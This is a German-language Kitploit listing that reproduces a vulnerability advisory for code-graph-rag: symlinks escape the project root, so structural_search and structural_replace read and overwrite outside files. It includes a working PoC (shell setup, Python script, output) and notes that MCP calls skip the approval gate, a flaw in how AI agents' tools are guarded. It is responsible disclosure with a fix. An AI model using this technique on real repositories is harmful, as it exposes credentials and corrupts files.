Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
code-graph-rag-PoC — PoC — Symlink-Verfolgung zum beliebigen Lesen/Schreiben von Dateien außerhalb des Projekt-Roots in code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1). | Kitploit
Tools/GitHubGitHub/squeeze440/code-graph-rag-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — Symlink-Verfolgung zum beliebigen Lesen/Schreiben von Dateien außerhalb des Projekt-Roots in code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).

Repository anzeigen
vor 7 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

code-graph-rag: Sicherheitshinweis

CVE-Status: beantragt, Zuweisung ausstehend. Dieser Befund wird als GHSA-85gg-2gfq-q95m veröffentlicht. Bei CVE-Zuweisung wird dieses Repository in CVE-YYYY-NNNNN-code-graph-rag-PoC umbenannt und dieser Banner durch den CVE-Link ersetzt.

ForscherDostxodjayev Abdullox (@squeeze440)
AdvisoryGHSA-85gg-2gfq-q95m
CVSS 3.17.1 (Hoch)
SchwachstelleCWE-59, CWE-22

Zusammenfassung

Ein entfernter/lokaler Angreifer, der einen symbolischen Link in ein Quellcode-Repository einschleusen kann, das von code-graph-rag analysiert wird, kann bewirken, dass die Tools structural_search und structural_replace (gestützt auf AstGrepService, sowohl als MCP-Tools als auch als agentische KI-Tools verfügbar) beliebige Dateien außerhalb des konfigurierten Projektstammverzeichnisses lesen und — über structural_replace mit dry_run=False — überschreiben, weil die Pfad-Eingrenzungsprüfung des Tools (should_skip_path/_classify_file) lexikalisch auf dem nicht aufgelösten Pfad durchgeführt wird und niemals Path.is_symlink() prüft oder .resolve() aufruft, anders als der projekteigene (korrekte) validate_project_path-Dekorator, der an anderer Stelle verwendet wird.

Produkt

vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)

Getestete Version

Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject-Version 0.0.550) — aktueller main-Stand zum Testzeitpunkt. Bestätigt, dass dieser Commit bereits den Fix für den vorherigen Hinweis (GHSA-vvr2-h2jp-838m: paginierter read_file-Pfad-Traversal) und das neuere HTTP-MCP-Bearer-Auth-Gate (_validate_http_exposure in codebase_rag/mcp/server.py) enthält, sodass dies ein eigenständiges, weiterhin offenes Problem zusätzlich zu diesen Fixes ist.

Geschätzter CVSS v3.1

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (Hoch)

Nicht offensichtliche Metriken:

  • AV:L — die Schwachstelle ist allein durch die lokale/CLI/stdio-MCP-Kernnutzung des Tools ausnutzbar (Analyse eines Repositorys, das einen eingeschleusten Symlink enthält); sie hängt nicht vom optionalen, nun durch Bearer-Token geschützten HTTP-MCP-Transport ab, sodass der Basisvektor auf der stets vorhandenen lokalen Angriffsfläche bewertet wird, statt eine entfernte Bereitstellung anzunehmen.
  • UI:R — der Angreifer liefert das bösartige Repository (den Symlink), aber eine separate Partei (ein Benutzer oder ein in dessen Auftrag handelnder KI-Agent) muss tatsächlich structural_search/structural_replace gegen dieses Projekt ausführen, damit das Lesen/Schreiben ausgelöst wird.
  • A:N — willkürliches Überschreiben des Inhalts einer Datei wurde nachgewiesen; keine Absturz-/System-DoS-Kette wurde nachgewiesen, sodass Availability konservativ als None bewertet wird, statt angenommen zu werden.

Details

AstGrepService (codebase_rag/tools/ast_grep_service.py) stützt sowohl die MCP-/agentischen Tools structural_search als auch structural_replace. Es zählt Kandidatendateien mit os.walk() auf und filtert jeden Pfad nur durch should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — durchläuft self.project_root mit os.walk(); jeder nicht-Verzeichnis-Dirent, der von os.walk zurückgegeben wird (einschließlich eines Symlinks, der irgendwo auf die Festplatte zeigt), wird als datei im Geltungsbereich behandelt.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — die einzige Eingrenzungsprüfung ist should_skip_path(...) gefolgt von abs_path.relative_to(self.project_root) (Zeile 82); abs_path wird nie aufgelöst, sodass diese Prüfung rein lexikalisch/stringbasiert ist.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) und codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — berechnet rel_path = file_path.relative_to(repo_path), ohne jemals .resolve() oder Path.is_symlink() aufzurufen. Nichts in dieser Funktion behandelt einen Symlink anders als eine echte Datei.
  • Lese-Senke: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) ruft path.read_text() auf, wodurch Python dem Symlink zu seinem echten Ziel folgt, egal wo dieses Ziel liegt.
  • Schreib-Senke: codebase_rag/tools/ast_grep_service.py:187-208 (replace), insbesondere Zeile 208 — abs_path.write_text(new_source, ...) bei dry_run=False, folgt erneut dem Symlink und überschreibt den Inhalt der echten Zieldatei.

Dies steht im Widerspruch dazu, wie der Rest der Codebasis mit genau derselben Risikoklasse umgeht. Die Datei-Lese-/Schreib-/Bearbeitungstools (file_reader.py, file_writer.py, file_editor.py) sind alle durch validate_project_path (codebase_rag/decorators.py:73-75) geschützt:

root@kitploit:~
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() folgt Symlinks, bevor die Eingrenzungsprüfung ausgeführt wird, sodass diese Tools ein Ziel außerhalb des Stammverzeichnisses korrekt ablehnen. path_utils.pys eigenes absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) dokumentiert dasselbe Prinzip ausdrücklich in seinem Docstring: "The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root." — aber should_skip_path()/AstGrepService, verwendet von structural_search/structural_replace, wendet dieses Muster nie an.

Erreichbarkeit / Exposition der beiden Tools:

  • structural_search (codebase_rag/tools/structural_search.py:24-46) trägt überhaupt kein requires_approval-Flag — das Modell eines MCP-Clients kann es autonom ohne menschliche Bestätigung aufrufen.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57) ist mit requires_approval=True markiert, aber dieses Flag wird nur von pydantic-ais eigener Agentenschleife durchgesetzt. Der MCP-Server-Pfad umgeht es vollständig: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) ruft self._structural_editor_tool.function(...) direkt auf, und das MCP-Tool wird ohne Genehmigungskonzept bei codebase_rag/mcp/tools.py:369-388 registriert (ToolMetadata für MCPToolName.STRUCTURAL_REPLACE) — jeder MCP-Client, der Tools aufrufen kann, kann structural_replace mit dry_run=False in einem Durchgang aufrufen.

Proof of Concept

Dynamisch bestätigt gegen das installierte Paket (mgclient/pymgclient genau wie im PoC des vorherigen Hinweises gemockt, da der native Memgraph-Client für diesen Codepfad nicht benötigt wird).

root@kitploit:~
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
root@kitploit:~
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Tatsächliche Ausgabe des Durchlaufs (/tmp/poc_venv, Paket installiert via pip install --no-deps -e . aus dem getesteten Commit):

root@kitploit:~
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Keine Screenshots — dies ist ein reiner Befund auf Bibliotheks-/CLI-Ebene ohne Browser-/GUI-Komponente.

Auswirkung

Jeder Betreiber, der cgr (CLI, agentischer ask_agent-Modus oder MCP-Tools structural_search/structural_replace) auf ein Repository richtet, das er nicht vollständig geprüft hat — genau der Anwendungsfall, für den dieses Tool gebaut wurde ("query, understand, and edit multi-language codebases") — kann erleben, dass ein in diesem Repository eingeschleuster Symlink dazu verwendet wird:

  • Offenlegung des Inhalts jeder Datei, die vom cgr-Prozess gelesen werden kann (Anmeldedaten, SSH-Schlüssel, .env-Dateien, Quellcode benachbarter Projekte), über structural_search, ganz ohne Genehmigungs-Gate.
  • Überschreiben des Inhalts jeder Datei, die vom cgr-Prozess geschrieben werden kann, über structural_replace(dry_run=False), unter Umgehung des eigenen Genehmigungs-Gates des Tools, wenn es über das MCP-Protokoll aufgerufen wird.

Dies ist dieselbe Fehlerklasse "bösartiger Inhalt in der analysierten Codebasis entkommt project_root" wie GHSA-vvr2-h2jp-838m, aber mit einer eigenständigen Grundursache (fehlende Symlink-Auflösung in AstGrepService/should_skip_path, CWE-59) und einer eigenständigen, schwerwiegenderen Senke (willkürliches Schreiben, nicht nur Lesen) in einer anderen Komponente (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, nicht codebase_rag/mcp/tools.pys paginierter read_file). Es überschneidet sich nicht mit den verwundbaren Zeilenbereichen oder dem Fix des vorherigen Hinweises.

Schwachstellen

  • CWE-59: Improper Link Resolution Before File Access ('Link Following') — primäre Grundursache.
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') — die daraus resultierende Flucht aus dem Projektstammverzeichnis.

Behebung

Wenden Sie dasselbe Resolve-dann-Eingrenzen-Muster, das bereits von validate_project_path (codebase_rag/decorators.py:73-75) und absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) verwendet wird, auf should_skip_path an. Lehnen Sie jeden Pfad ab, dessen aufgelöster (symlink-gefolgter) Ort aus dem aufgelösten Projektstammverzeichnis entkommt, statt nur die nicht aufgelöste Pfadzeichenkette zu prüfen:

root@kitploit:~
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

Konkret: Diese eine Änderung in should_skip_path behebt sowohl _classify_file (Suche) als auch die os.walk-Filterung in _iter_source_files (Ersetzen), da beide darüber laufen. Als Defense in Depth könnte _iter_source_files zusätzlich symlinkte Dirents während des os.walk direkt überspringen (entry.is_symlink()), da ein KI-gesteuertes Codeanalysetool niemals außerhalb des indizierten Stammverzeichnisses traversieren müsste.

Danksagung

Dostxodjayev Abdullox (GitHub: squeeze440)

Meldeweg

Private Vulnerability Reporting (PVR) ist bestätigt auf vitali87/code-graph-rag aktiviert; dieser Bericht ist für die Einreichung über diesen Kanal (GitHub Security Advisories) vorgesehen, konsistent mit dem bereits veröffentlichten Hinweis des Repos (GHSA-vvr2-h2jp-838m).

Tool herunterladen